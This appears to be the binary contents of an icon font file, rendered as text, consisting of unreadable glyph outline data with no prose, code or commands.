I����6462""264.467r++��������3>>33>>�**�������h|hh|h����+C%54&+";346;2654&!"54>;2&##"&=4726732PB.p/AA/

B.!8/AA��8	p8!8�88"4		�86:7988:.A!88978

88-�-8!!
	
����!4F%+"&=470&+346;2654&'2&+".54>37#";226=4&l)888"5B.!8/A/�8"88		pp/AA/8!.BB�08-8
8.B!8806z88-
	

87988!B.86:����*726=4&+";27+54&+346;2654&�.BB.p/AA/8!�Q95B.!8/A/hB.86:7988!V9P
:.A!8806�����H#2#"&767">;654.�-@#
�52�@]/*#?�)<<! 	I3E83AC>/
*88)=$�����H%654.#">3�)<<%@]/*#?088)=$3AC>/
*���d2+"&=4637#"346;264&.BB.p8"1#��:RB.!pFbb,B\B-�#18R:�.B!b�b���d5346;264&+"B.!pFbbF�:RL.B!b�bR:����"73264"/5'&5462�s9]Qs�(RtRR�sQP:r>s�� )9:RRtR����"73264�s9^Qs�sQP:r>s����H7'TT�T��T�T�����
"264'77=�������g(?�'�������g'?�'���d%'7''7�vvNvvNvvNvv*vvNvvNvvNvv����"264''7'77=�����q(GG(GG(GG(G�������(GG(GG(GG(G����"264'2&546"'7=������5,�cE5,�c������K�,5Ec���,5Ec����'7%7��T��pT��Tp��T�����4264&"234&234&234&!.!!.3��8՗Qs8�i#18R.!!.!P8����p8sQh�p81#:R������#4.#52#4&#52#4&#524&#�@g�h��@�jW�V�@K5Oq�%@h�g@���j�@V�W5K@qO%@����#57&#"2?32654�FIE.B��.B1FJFB.��B.����	)2626514&"7#"&547&'"&'#"'2654"&4?�!/!!/�
1=?10����]B!OP!�0!!!S
&'	>L^��^M�B]!OO!]����'/%5'&'7'&/#'737677'67"&462�C(B	8
C'BB(B
8
C'{E11E2�8	C'BB(B
8	B(BC(C
1F11F����5##5##!5!!5!!!7!P8p8p��xP��P��8��H888888�8�8�8	����*6!3!33#73#73#3#73#353'5462"&75462"&��@8P8��88p88p88�88p88p8��@���Pp8888888888�8888	����#&*6B"&=#"&=#!#535#53#535#53535#53'5462"&75462"&l!.!8!.!T���8888p88888888��H!!!!�x���888�888�888�8888����5%"'654'73264&"&#"'.#"327327264&�V	d
!!.!c'C

C1##U!.!!0=c!.!!
d	
	#1<	!!.!���H	?5!'!5��@����i77�j�����d2'>32767"&#"54&D'��'
..>&&>3I��I,"��"11866I3��3I���d
&#"54&#"�&>3I��I3>.6I3��3I����#7'##7'##7'#!#!5!5!5!�887N89B88O898888�778��P��P8888888888�@�8��888��P�
#!33��P��pp��@4�Pp���P�#!5��P�p��@4pp����!77''33'54��qppo87pp9��pY��A\]]]4�-]]-�8pY����
!775/��ppppČ��@]]]]04������%#5##3353��p��p�ب�p������"264##5#53533=�����pT8TT8T������yTT8TTh��5!!��@�p����"264#53=�����p��������y8����/74&#""&#"732654&5>"&463502?36"&462�B.3FbU�*4Ec �]AA/,!.,.!!.!.BbF4+�UcE4�B]A
,.!,.f!.!!.����=&"&#"2?32?>'76#"'764&"&54?6322?�9#*:)T$	99#*:)T#
9bT#**T#+*	p9)T$d(99)T$d(9�#T**#T++����%'���T�PT��8��8����
73'3=#7##'7;55#�8TT88TT8TTTTTpTTTThTTTTpTTTTT8TT88TT8����?3'3575#7##'73'355#�8TT88TT8pTTTT�TTTTLTTTT�TTTT88TT88TT8����"2645#3'35#'735#7#35=������88888888888�������88888888888����';4&"#326=35#'4&"#326=35#%#54&"#326=3��ld�8TT8��8��88TT8������6"'75&264&"�688�B\BB\h
�88��\BB\B����6"'75"264"&462�688
\BB\BY.!!.!h
�88�B\BB\f!.!!.����
"73264"&462_�a�\� Eay[@@[A�aE �\�a��@[AA[����!)19A+4&+"+3;26=3+"&=3264&"&264&"264&"&264&"�88!p!8881#�#18p���`H!!8�#11#����`�`����'/7#4&+"+3;26=35"&462&"&462"&462&"&462�8!p!8881#�#18��`H!!8�#11#�8��`�`����'247#"2654&"42"&4625#4&"#53p8�B\B|Dpp��.BB.4��T`�����
#"2654&"&4625#4&"#53ĨB\B8p���.BB.4��`�����)1"35353573264"/###57'&5462&264&"ntR��88
:R�	(888�1F11?�R:
�p888Rt�(88!�	#11F1`����"35353573264"&462ntR��88
:R��R:
�p888RtV����
!#!53#5337#53���pPp��8�p���p��p8�p8����
!2#&'&546"35476543#iF1!))!�tR8p8�ppH2"****"jR:F*$$*F:��8����7&463"'72654'?BB�]Ec1"�Ec1"B�A��cEF1ecEF1#A]]�����
#552654/"7&463N')R:88Qs�8Qs:')R:+()tR88sQQW8sQQ:()tR���H%4&"462#7#�s�sRtR8pp8�QssQ:RR:pp����&"5#35#76764'7�4�4N8�FL$l%%%+(*6�''(L44NJ�8L%$%j%+'*6���(''8���d%"&46;7'#"265PB\BB.!'TT'!Fbb�b�.BB\B'TT(b�bbF8���d%"&46;7'#"265PB\BB.8TT8Fbb�b�.BB\B8TT8b�bbF����%3"'2?35%#7627&"5#3BK#k$'5�5Q8��BK#k$'5�5Q8��8K$$(55QN�8K$$(55QN����H)7#46;2354&+"#!3+"&=#;2653�8�81#�#18TT8�81#�#18�#11#TT#11#���d-7#546;2354&+"#%3+"&=#;26=3�8�81#�#18TT8�81#�#18�#11#p8p#11#���H%+55326=%46;7'#"3��pp�#1�x�pp�#18�8TT81#8TT81#���H%+553265%37'#"346��pp�#1���pp�#18�8TT81#T8TT81#���H
%!'7!%!7'!���ppP�@Ppp��08TT8p8TT8����
73'3=#7#p8TT88TT8hTTTTpTTTT����?3'3575#7#T8TT88TT8LTTTT�TTTT����"2643'35#7#=������8888�������88�88L��
7#'7;55#�TTTTpTTTT�8TT88TT8L��7#'73'355#�TTTT�TTTT�8TT88TT8����$4&"2''7355�������88�88C������8888����%#7'7'3��TT��TT��TT��TT����$4&"2'73#�������pppC������pT8T����264&"73#'���������8@������88����537'#�TT��TT�hTT��TT����4264&"5#535������ppp�������pT8T����"2645#535=��������8�������88����57'7TT��TT@�TT��TT�����264&"7##5#�������pT8T@������ppp����4264&"##5#7������88���������8����'7'5�TT��TT��TT��TT�����"264'3533=������pT8T�������ppp����$4&"2'3533�������88C��������8����"264"&462=������.  .!������� .!!.����
!"264$2!6"&462'2.>3=�������lV����9R<P�R9P������K>22�`E
]gE`>]��P�/626=4&"#5>=4&""&=4&"#"34&�.!!.!p<PB\BP<!�!�!p!!p�;
]>.BB.>]
;!!���d%#54&"#";5462326=4&�b�bTB\BT�8FbbF8p�.BB.�p���H	7"&46;7'3527>4&'&#52p.BB.8pp�
&//%0B\B8��88&8
=M<
���H	
7"&46;7'%#53p.BB.8pppp0B\B8��8T8��P�
P�������P�3#3#pp�pp��@��@����!!��@��@����5!!��@��Ah��8p����-3#���P�@pp@��8������
3#P��Ppp����������
"2645=����������������p����
!7'7#35'75#73'7''X@(@@���@@'?@(@@�@ب@?'@@@(@@��@?'@��(@@�@�@@'?@����
%#77'57''3%3575#�p$\(\\(\$p��(\$p$(\(\$php$\(\�\(\$p�(\$p$�\(\$p����
%'35#77'''3'#7�@(@@���@@'?@(@@�@X�@?'@@(@(@@��@?'@�(@@�@�@@'?@����
%'357'7#%75#''3'�\(\$p�d\(\$pt\(\$p�(\$p$\(\$p\(\$pL\(\$p��(\$p$��P�!#";26=4&"&4627#546;2�p.BB.p.BBZS�!p!�B.�.BB.�.B�[D�!!0�%#54&#!"3!26=3#!5!�8��P8p����p0�%#54&#!"3!26=3+53�8��P8ppp��p0�%54&#!"3!26=35���P8��p0�%%54&#!"3>33#3#"&'#3!26=35���Y	+8888+	YP8�888p����776&77&2"&4$"264�Hz,H|8�cc�c������|HLzH�c�cc�����������5!!3'+3��@��8�8�8���Ppp����5#3!265!5%!533��!P!8��P��p�H8�x!!P���8p8����	#!"&=!%5#!5��x����$�p8p8����#-%654&"27'#"&462'#5#"3273'"&46;������A'1FEcc�c
-p.BB.%8!.!!804<]����B'1c�ccE�A]B�!!/ �����#"&4?64&"&462264/7�kL&q
(6L6r+<+='	!@Kl%o(L66Lo<++<='%[ ����72+35#"&=#6264&"��8!.!!.�p88�8�.!!.!����	&26514&"6"&4?64&"#47627653N):)^!.!8! ^ !!]

8):].!!.!  !\!^
	��P�+"33333P8888.BB.8888�B\B���x�����%5#7##7##3#33733735#7#73�F8p8b[MF8p8b[Fpp�8pppp8p8pppp8ppp���H
5#4635"#5#4635"�pB.EcppB.Ec�.B8cE��.B8cE����H
3#26=33#26=pB.EcppB.EcH�.B8cE��.B8cE����H#��p�P��P�����H75375�p�H������������!5!!5!!5!!5!"&462��@������@�p��PpH8�8�8�8����#!5!!5!!5!264&"264&"264&"��@������@��@��H8�8�8����#'+/264&"264&"264&"264&"!!!!!!!!m������������m����@@@@@@@���#+/264&"3!!264&"3!!264&"3!!4264&";#m���m��m�m��m@S@�@�@����	"3!#37538!!P8�8888�!��!��xPp88p����#5!"3!3'#33#�8��!!P888��ppH8!��!8��P88���d!.#2>3"&'!567�
%/Q/Kp
%.Q0Kp�V66VPV66V,��P������&"36#5#57�B\!���!��8�P>B!��!�8�P����&"3664'.7�B\!���!��,�O>B!��!�/�O����&"36#5627'62�B\!���!��P.!�P.!>B!��!�P!/�P!.����
&"7664&"�!.����!.I_!����.!�����&"764&"326�!.�:��,>+)"#(>W_!�:��,,(EW����74&"326&"76�!.!.B!.�*�0!!3B]!�*�����%64&"'377'6'&'7�!B\!*')�7h�)'(�� �O�!]A 	*()�e8�)((�#�O����57'57'57'57'����������������088888�88888�88888�88888���d57'57'57'������������L88888�88888�88888����75773!7p88pp�x88P80p88ppp8�8��88���� (6264&"7'&+"#"!4&"&462"&462�!.!!.�.M0p!�!���\BB\B.!!.!p]]!��!p�B\BB\����!%7&#"3654''>7%#7327(PAW`�4�L/I�K/H���5dQAW��<��O?:�C.��C-�O@t�<����	
#'36547&'67'5&#"327''7'3����s*I=s>�30:20�s*I��A=��2'r>��s*I������s=�20��*H����7'32654&5��44�5?Rs`�ZGp�<�=b͑(sRIm��:����7'75732654&˔77�ePё5>Rt`p�@�@��AБ'tRIn����3#3#'3#Ppp�pp�pp��@P��������3#3#'3#'3#P88p88p88p88��@P����pp���H%"2>5."&462&264&"FG5+02HFG5+02=\BB\B�!.!!.H"02!:-%#23!9,�B\BB\E.!!.!��P�6";2654264&"�b!�!�1F11F�bF!!FF11F1����3!53#5##57��8P8pT8Tpp����TT�OO����2"&4$"264'5#��cc�c������08	7Hc�cc��������0dp	7��P�!)"#;26=4462##"&=3&"&462�tR81#�#1�1F1����D�R:�#11#�::#11#���`��P� "#;26=4"&4627#54632�tR81#�#1�T�1##1�R:�#11#�:��#11#��P�'"3462!;26=4#"&=3&"&462�tR81F1��1#�#1T��D�R:#11#�#11#�:����`��P�"3462!;26=4"&462�tR81F1��1#�#1��R:#11#�#11#�:�����53#.'52"&462���9OtQ8 R##�����2:OtP9s5##����
#53$"&462�����,, �����j ,,
����'/7?GO62"&46"264&264&"264&"2"&4264&"462"6264&"6"&462&264&"�.!!.!f\BB\B��88||Pp�!.!!.YB\BB\�H��``T�	����'/7?G"264&264&"264&"2"&4264&"462"6264&"6"&462&264&"\BB\B��88||PpB\BB\�H��``T�����	#"&5473267#"&54S�^*1HenI]�_My16Vz^�eH1�yM_�]IzV6����%"&5473267YVzI]�_My1IzV61yM_�]I�,/%".#"&#";264&#"&54637&546323462P43.BB.�.BB.�!"5!-8!.!!�B\BB\B�! 

!"7!!.!�����d/:EP".#"&#";264&#"&54637&546323462"&47>?"&47>1"&47>?P43.BB.�.BB.�!"5!-8!.!!��&f&!e&,B\BB\B�! 

!"7!!.!�B
B
B����+"34623462"&5#26=4632346234&�]�8881F1		88���]				�#11#�				]�����	%7#'#76��88��6��mk��j�ll���
%2&'&46"44>764264&"iF1�tR)#
)�H1F-.FiRt)(2BC/.)t.�����&"24>76&"&462RtR)#
)u.!!.!.RRt))2BC/.)!.!!.����
"554"&462�\B88pY.!!.!�B.��>.f!.!!.����	#+373.'>7'5#3.'>75.'#7>7�Q,,�,QQ,86L	9
mM�	L6Mm
�6L	9
mM�	L6Mm
�,�Q,8Q,8,	L6Mm
�6L	9
mM�	L6Mm
�6L	9
mM��P�
!!75##7P���p8pp8������P�
!!353'P��pp8pp�8���������6".#"&#";#7#53264&#"&54637&546323462P
43
.BB.T8TT8T.BB.�!"5!-8!.!!HB\BTTTTB\B�!!

!"7!!.!����/6".#"&#";264&#"&54637&5463234623353P43.BB.�.BB.�!"5!-8!.!!�T888HB\BB\B�! 

!"7!!.!8TTT����#7#6?6=&/#7�&9TT7�)&(7TT�6#�&7TT �):6��7&( TT����%7'2?64&"2?'"&4?62&7�(8):�!B\!�-Z�-T(TR9�.!�

�(8:)�!\B!�-�Z-T(T9R�!.�

_a,'3?7>23."626=4&"&?#'&6#";264&#";264&�'2'6J6[�


�


���"pp�  $00$p





q8
*���V'/7?GO"264"&462&2=4""2=?6&?6.4+";%#";24%6/&&6'	R99R9E:)):)T_


�


4��



�



9R99Ro):)):����


�


AK



�



r2M
%"&4767676'67&72!\B!"/	�L2GT!B\!	/"yFG27���I+3EM26=4&""26=4'?6.4&+";276/&"&#"3273264&.467�{	




	�

(::(

)99o  ��-


Ig

	
:Q99Q:�'2'P0�-3BFL%#.#"#";#";#";2673264&+673264&%3264&+632#6"'37#&'3�GG0 7[N,,K

X7@7!

G��XD(%7��P����/A


0$
7�4$"!"3!2643264&"#"0*1#";264&�#��4���#����#�""T"c],7?%'64'7>.&'54&"'&?26=67>.462"O






��
!!

!!
����'EQr2=4"76&324+"$;24+'6/&"&'.#"327273264&'2&#"&546"'"'#"&4632367632632�{


��4�



)"9()9
'79)'h')99�'
>*)�"h"))	
	!4


))H3


]K



�(89)9')9""9R9p"/)��
))
):)

)):)���^)5Y%67676&.76&&#"3272732654&'677&'&6"'"'#"&4632>70232632}		/";#)99)'h')9&�G2%=
q"h"))

2
))�"/	<09R9""9) 3�2G/1��
))
):)!):)	*���e+3GS_k26=4&"76&3264&+"$;264&+"'6/&3&54623654&"!"3!264&!"3!264&!"3!264&�{


��,�



 ):)9R9
��P��P��P--
	
]K

	
{))	(::(&88*���G#C7!264&#!"!"3!264&!"3!264&'0'&476773676&.76&8P��V��P��P�H2$	/"i8�F2G


	"/	O ���H%-5=7&54632>26323654&#"&"&#"!"3!24!"3!24!"3!24)
5@5
)9)*�*)9��\��\��\��)"")	)9999)
88TLl7324+"#";24#";24#";24b��
�������88�,1%"&"&#"327273264&"'"'#"&4632>2632^*�*)99)'h')99)"h"))
5@5
))�999R9""9R9�
))
):)""):)����:"&"&#"3277'7673264&"'"'#"&4632>2632^*�*)99)%T
/")99))4"))
5@5
))H999R9TT9R9�
)
):)""):)����5;"&"&#"3277&'#"&4632>2632#"'673264&7'7^*�*)99)))
5@5
))
)99�TH999R9
	

):)""):)
#	9R9�TTT���d1:"&"&#"327273264&"'"'#"&4632>26322654'^*�*)99)'h')99)"h"))
5@5
))�,999R9""9R9�
))
):)""):)�))����1:CL"&"&#"327273264&"'"'#"&4632>26322654'72654''2654'^*�*)99)'h')99)"h"))
5@5
))�o�H999R9""9R9�
))
):)""):)�))
)))))/�-5=E%&"3272732654&"'"'#"&463262632#";24'324+"7324+"m!^""13%B$30'
?
##U##��pp~88*88�""2#%33%#2�#1####1#8���d-9EQZc&"3272732654&"'"'#"&4632362232#";264&'3264&+"73264&+"2654'2654'm!^""13%B$30'
?
##U##��ppv88"88�pB""2#$33$#2�"1#""#1"				8		�))G))����/7Oi'<576&&'54&"'&?26=676&"&462"&"&#"327273264&"'"'#"&4632>2632
		

			
E			o*�*)99)'h')99)"h"))
5@5
))		



						
	
		
A999R9""9R9�
))
):)""):)��/7q%'<576&&'54&"'&?26=676&"&4627"&"&#"3276767&1#"&4632>2632#"'3264&
		

			
E			o*�*)99)		))
5@5
))	)99P		



						
	
		
�999R9	
):)""):)
9R9����/7dh����'<576&&'54&"'&?26=676&"&4627'4'76&&#'&'&?36/>76&&6%&'&'76&"'&??276/6576&&6$4&#"&"&#"3272732'"'#"&4632>2632#"
		

			
E			�

		

	"


��

		

	


y9)*�*)99)'h')Q"h"))
5@5
))		



						
	
		

		

		



!
		

		



nR9999R9"")))
):)""):)����7?GOW_"&"&#"327273264&"/"/#"&46327627632"264"2646"264"264&"264^*�*)99)'h')99)

 R 

))
"p"
))��||H�H999R9""9R9�):)
..
):)8,`���$'Jc%4&#"#&""#"01&#"3272732654'6"'"'#"&4632061676326?27&#"&#">32>2632�. !f! .)99)'h')9b"h"))

!/ 5	
)*F-$
	
&.&
	
� .((. 9))9""9)!�
))
):)""
)�9����-Rk4&#"#&""#"01&#"3277'76732654'6"'&'#"&4632061676326?27&#"&#">32>2632�. !f! .)99) T2%)9b)3!))

!/ 5	
)*F-$
	
&.&
	

 .((. 9R9	
88 9)!�
 (
):)""
)�9����Un77'?4&#"#&""#"01&#"32707&'#"&4632061676326?2#"'6732654'6&#"&#">32>2632�T�. !f! .)99)	))

!/ 5	
))9)*F-$
	
&.&
	
0TT8� .((. 9R9


):)""
)

9)!9	*���V'/7?G"264&2=4""2=?6&?6.4+";%#";24%6/&&6'	R99R9p_


�


4��



�



9R99RU���


�


AK



�



�@@
6.72767�(	9R�(8R9	����'EQ2=4"76&324+"$;24+'6/&"&'.#"327273264&'"&54632&�{


��4�



)"9()9
'79)'h')99�>*)'H3


]K



�(89)9')9""9R98/)"���^)5%67676&.76&&#"3272732654&'677&'&6}		/";#)99)'h')9&�G2%=
�"/	<09R9""9) 3�2G/1�,%"&"&#"327273264&^*�*)99)'h')99�999R9""9R9����"&"&#"3277'7673264&^*�*)99)%T
/")99H999R9TT9R9���d "&"&#"327273264&2654'^*�*)99)'h')99�,999R9""9R9��))���� )2"&"&#"327273264&2654'72654''2654'^*�*)99)'h')99�o�H999R9""9R9��))
)))))/�%-%&"3272732654&#";24'324+"7324+"m!^""13%B$30��pp~88*88�""2#%33%#2�8���d!-9BK&"3272732654&#";264&'3264&+"73264&+"2654'2654'm!^""13%B$30��ppv88"88�pB""2#$33$#2�				8		�))G))����/7O'<576&&'54&"'&?26=676&"&462"&"&#"327273264&
		

			
E			o*�*)99)'h')99		



						
	
		
A999R9""9R9����/7dh���'<576&&'54&"'&?26=676&"&4627'4'76&&#'&'&?36/>76&&6%&'&'76&"'&??276/6576&&6$4&#"&"&#"3272732
		

			
E			�

		

	"


��

		

	


y9)*�*)99)'h')		



						
	
		

		

		



!
		

		



nR9999R9""����'/7?"&"&#"327273264&"264"2646"264"264&"264^*�*)99)'h')99��||H�H999R9""9R9�,`�����R&%#"'"'#"&4632061&54632362232�9)'h')99). !f! .�!)9""9R9 .((. ����-4&#"#&""#"01&#"3277'76732654'6�. !f! .)99) T2%)9
 .((. 9R9	
88 9)!���d74&"2654�!.!D

�� !! ����"264"&462?=�������cc�c�p8p��������c�cc�8p8-J��
7#/#35335#37##3733'?�$'*9p7!
6	"Y
�-5�a':����9))|PD�=6."2>4"&5462#".=4>327.#"3267'�



	
		
	

	


	�		
		

		]
-


:{QE�#6."2>4"&546275#3535#5�	

		

	
		
�j@@�		
		
				�?$����+%&"3!26'+"&=46;25+"&=46;2��F�!P!�P��55T����H%+.5474&54632>32�9)�)9+)
@(4J Z)9<*5)$-J41����!"=4;5462324&"3���*RtR*p1F1�@�8:RR:8�; -- ?����4+"3!26=#+"5'#73l�T�~*T*FH�Hr���FF������"&''.'426767.5462�

4=����	
0[5Qss�s8����-9=AEIMQUY]aeimquy}���%##32+"4;5"&'#51=46226=462"&=462&24"&"2<""2424*24""2424":4""2424""2"224"24*24"6":"26":"2�R4T�T4RB\B�88*�:`88`:8.BB.b'p''pF8*p���H !"3!26=4&'7'7'#5'77���l�
t
t
t����H����
t
tt
tS		�������
 ;CJQ#5332#;;2=;!7=4+"+5354623#'4&"353#"&546;#�88��*T��*B\B8!.!p��88@�b4p���#+>>+#��!!��b���	���d!%)-59AE#!32+"5#"4;2!235#3#37#37372"&424"62"&424"�)����5-8[��0L�FFTFF #��""�""4�8
����������""""����
&462264�������1�b@������W�1b�����"264"&462'#54+";2=4=�������bb�bFFp��������b�bb�bb�����55467&'".5<>74147>20aV

-&-W`@*,,C
5

5
C,,*����!%'1#/'675'7?37&"264z8%B>J=C%8%BAJ@C%8�.!!.!{+@$II$@J+@#JI$@+!.!!.����"&46325##"&46325?3�F11#�.#11#8�8):)�8� ):)�8��8����"%#;2+"&=46232P�!**!!**Fb!.!�!!�8!!.!bF�!!!.!����
'76321797'�P
*��w'��;)P'*��'w��+����o{$##"&'#"&5#"&5#"&5##"&54675"&4635"&4635"&4635.546323462346234623>322#2#2'4+";25�

D��X


�����d3?%"&54767>11632212654'063&54632050#"=4;2�s�s.
RtR
-��QssQG6'1:RR:1'6c������*%3.'0'&73.7>>2156=	
)15E8g�

�D>i
 ')
19
�V6IK6?-����3;7#5#"&462333333333333+"=+"=+&"264�*:RRtR8*8K.!!.!hRtRR:8888�!.!!.����752"&54633�Wm�W{}c�|��mW�{W^t�X�����"+%#&#".'.7>72326'&7>7c@
--
56A94�
(�=%LX * R$!&""8����!"5;2=32#z��p��p@&F*�\�88����%#54+"#";;2=32=4��T��T�ؚ�T��Th��7!2#!"=4��\�TT���d
*%'5'!5'&264&"%!"3!254#!"543!2T8SP*�""^�\���l،)E~""���l��4���d%!"3!2574'#'4+"#"3!2=4��\���*����T**���d##'4+"#"3!254"&462&"264�M�M��\BB\BY.!!.!,**��4��B\BB\f!.!!.����/&'#"&462&"264�



�,7Fbb�b _\BB\B



� b�bbF7,�B\BB\����.:DHOapv%&'&'.'&'&"2>7>7676764&&'&'>7'&'632010'>4573&"'>7037&'6�	$.$	$(.,(	!CB"6+A2!!&Hv$%"^R	8Ebb	(
1�E57 $D?8
�		$.($	.	
'5K%>2
1=-F�7v, "KF AH
R����+&";5'"&46354;272#72#326��
��88**FF�2��T	]Y1**T	����	4.#52+6&'.#5$2"&4qh�_u�}�P#[%I�X��.!!.!@b�bSx�x%N&RS�%!.!!.������
$"&4627'$.6��������}X{1�#OX{1�#C������X	#�1X	#�1����/"26454+".'32=4+>7;2=#";=������5L	65L55L56	L��������55L55L	66	L55LT��l�%T��@�8����#";2543#";254�TT�TT��\��\�����M%#&'72=4"&'."'54"3#";2=7326232672=4/>5324�H-.
/B/
.-HH)#;##;#)H�-FF+::+FF-3FF##**##FF3���H)1!"3!254#!"=43!2'&?67654'&#";24��\���l��6

//

6�TTH��4���H6

//

65����#'3?CGKOSW[!"3!254"424"424"424"424"424"424"42+"=4;25+"=4;2"424"424"424"424"424"424"42���l�������8��\��x���8���*����!";2573";24#'3;2=4���TF�FT�T*��P*T����,%'+"&=4&+"+"&='7753�(*T*(,�n88v(�*TT8�(,�nR�8��������7����
/3;?M[adjp"&462'05332705654#"4'%4&#4#&'0'&5&5'4#&#4'4&74'4343<5&767>4346/"&5&10.1&465&63437<14'4.56'6&#0&1"&#"&#.5"5&%02243"&4&'"&#""&#426132?4'2.1&'&'&'54'46165"0#&'&'&'&.'&#4'0&1".6361'4#.'0&'#'1&50>526:55"56&1&'754704156127>7&5:7626541"5"&#&#46321467"7630>302&#"12"#&#0'1036;56#03645627525054252621"50"'27&&123360"7"5&437'6'&"525;22570134025252304362"#'&2632671"31#5741"##""0##&14'41&##"&#"3230365&7?"103412352263407631272326217114312"6230326763211#"#"##11"#"0""#"#"#21061"3267675"7306547074765<5#"""&7+0&504'#13;5"532402527"#0030#"121""'4&50&10.14#4&5".34656'"'&56'&#.1"&5"&5.5&74'&614747656272676'2566363?6343522363522333'427'&'2#43':50"'"761"73036#&720263"225#4&7614#4&542"5'#"4;22"#*530'235"'"'272301#""1"72#2#052'217=�����*��H9
		8MJ83W
	
G%Y
@�����p(+?d
p?G	51
			
0*(,M[	
					
	
J
!$|S��l�.54>2"264�0%%00&GD.!!.!@MCM.ED.'�fl!.!!.����"264&2"&4735#'33=������**F*������/�pp�,%"2>?."&462&"264FG5+02HFG5+02HF11F1=.!!.!,))0%))0%�1F11F[!.!!.���d"1'1&#"2?64&B1#$04J%��%Jd$%Jh%��%hJ����
!373532%4;#"��ڌ***�x**@��88��\��@���~'%?''76/&&67>7&67>^	
J	;X?:		&	
J	;X?:		�

:?X;	J
	&		:>X;	J
	����
%EQa7#335#732=4+"#32=4+"%#+"=#+"=#"3!2654&#!"=43!2334&7>75#�
#��PTpT���l�Eb�
U�xTTTT8FFFF��P���F+ 
���d
#'35#%!"!4&!5!5!5463!2+";2435#8P��!�!�x��xP*����8!��P!���8���� (8%#+"&5>&+"&5463!2&264&"74&#!"3!265��2p
	������P0R	����T��l�'3#";2654&32+"4&2"+"=4;27+"=4;24�!!�!!d**8TT���!��!!P!*��8�T��l�82#2>54'"&5473273263327�1%

1%v#1'!�IF_''
:'u���1#.!'M��e�
#6"&5#26=#'46234&"372=4"�.!TRtRTp!.!TRtRT*�!�:RR:�O!!:RR:*TT����%"&546775'265IB\BB.��Pts�s�.BB.)4EbpGfKQssQ����5+%���@������5#"?6=4&"&462���

�

�	0�

�

�
�m����&>76322&'&'9&'.>$1*	I$*	s			:W/33"
o		
s
*	T)1#	#330V: Ju,777&&666''��?����?�..�?����?�.n�	__	�n��n�	__	�n�T��l�7'�J8Ag���]l�*����L76&'"#"323>'&%#53264&+?4&#"&;;267#"&53264&+53264&k	
"~~z	
'p'opp~��fAF	1*[�  *����N"#3326=4&#.+"32#";#";#";3:>5?4=76=4&�	
Z'p'opp~~~z	
Vfj	�  F	1*[	�����'3$"&=4&""&=462%32+"=4;2+"=4�b�b������TFbbFTT]��]T`��������355#3'35#'735#7�pTTp8TT8pTTp7SS-q8TT9qTTq9TT8qSS���D'&'&776�(

�t
(

��
(

�u

(
�
���p//&?'&?676���

:

��

:

��

:

�

:
!��

:

��

:

��

:

�

:
����e%654&#"&#"32732654&#"'.54632327654'&'&'&'&'&5467632#"'&'&'&#"�sQ -.BsQ -.B~-$
	


!

	


}QsB.- QsB.-	
	
			


			����)9IYjr{%!";3!26=326=4&+"&=46;25+"&=46;2+"&=46;27+"&=46;2'3676'&#"&#"726'632&'&���4�TTpp�TTpp�*(.�1�A�~��~��p88�p88*Jf%+@4%"
���� !"3!26=4&'#3'&#"3#!��`		�		��%�X	)�>�'J				�T�|�b����
#%!3265375'4&'54&"!'462z��*~!.!~8.&!.!&.�>*!!�*F!!F*b�����.<Nc%54&#!";273264&52%3276.76#"3256&76'&27>&'&#"327>&'&"P��>)p5".BB.!!��	
/<		@
	��'4*B\B�p!.!� 	 
6/
!!	
����#/;G%!"4;74;23'4;232!2#!"5'432574+"';2=4+";25'4+"���TT�T*F��l��bb��������TTTTT����(#";2654&54#.3"3764&EX@QC0:�8	��\�����	T��l�#+#";2654&"&4627+"=4;2"264P��YF11F1��d��x��\1F11F��������+5=E2=4"2=4"#54&+"#;3!265325%46;2#+"5!2=4"�
8!�!8***��p��������&!!*��F��
�������7#�������������ev2654.'&7654&#"326'45&32#"&#"32654#"#"&54>32#"&5467632654&#"#&5463232654&#"�Nm
U%

(!-)3'

#0WFJS


	!'/*'O$PC
	
	M)
	
5!$

	4*A=2'		
	. "
;+,-����?2"&46"264"&462��8�y�������cc�c>9�7Ճ������b�cc�	����#/<HT`l7#";2=4+"=4;2%#";2=4'#";2=4%#";26=4+"=4;2#";2=4+"=4;2%#";2=4bTT^������TT	TT^��0TTF��TFF~TTF�����$0<HT`lx��������7#";2=4+"=4;27#";26=4+"=4;2#";2=4+"=4;27#";2=4+"=4;2#";2=4+"=4;27#";2=4+"=4;27#";26=4+"=4;2'#";26=4+"=4;2#";2=4+"=4;2bTTTT	TT�TTTT�TTTT	�TT	�TT�TTF�TFF��TTF�TTF~TTF�TTF�TFF*TFF��TTFb��^�"5'#"=4;742^�FF�@~p��\����/"2#3264&4&'6"#";2654<-@@-7MM'_�FF�HTvTb�b�H9	!
%,%
!	=�p~�����#2!";3733'32654&#!"=43!2''?777'��xp8e2e8p��l�?E'A	!3:A7/���pppp������()4n�t0d����'"264"&462"264"&462&"264\BB\BMF11F1	�������bb�b�""B\BB\�1F11F�������b�bb�p""���d755">���V�%*E?ً�č+9+D* ����P0'&4742061717>#"'&741?'#6?1?>&'&0101967437'�I�,�

��)�	F�#""c#�C�(�
��%�1(�#^!""����H#3?GKOSW624"624"&24"24"24"624"24"24"6"27!"3!2654&#!"=43!2#";24&"2"2&24""2�**T~�**��x���lb����TTT8��������pp�����a/25%76&#54&+"#";;;26=326=4&+'57PP
	P�**�**K���P	
P**�**����������
!<!"&5463!%;2=4+"74"257'#+"=#";54;2325��xPT�����T*�*�@�T��Fp�**bb����������!-01+"&=015.5<14620'"32654&�GW
8
WG����UqvPPrm;Z_m

m_Z++(&&����"-#";#3'#5673264&467.6=W�,==,$2*8�8*2$,==��,=,�=X=$�88�$=X=i)8%!-.!%8)-���dDLT%#"&46;2'#";264&;#!"&5=46763!2+"!2#"!24#!"4#!"3!�!!!!|-8��l�=3l8#1�^��l��^L!.!!.!T&8#81�
����3;CKS[s!"=#"=4;5#"=4;5#"=4;5#"=4;5#"=4;543!2#";24#";24#";24#";24#";2474'67#2=4+"3#3���**********4���EE�@�\�TTTTVTT����"264+"&=46;2=������pp�������p����%-$"264264&"6"264$2"&4"&'!&"&462@�ͺ������.!!.!�TF.!!.!�(������!.!!.�.&&z!.!!.����s{36&7#3&>'#.'"&#41#"&54;6'&'&'&#+"547&6?4'&"/./32+"'&'"6;2+"&#"3:#676&3&6'#	E


�,/
*
"	*
8+
	��*��
	=;!,I��			
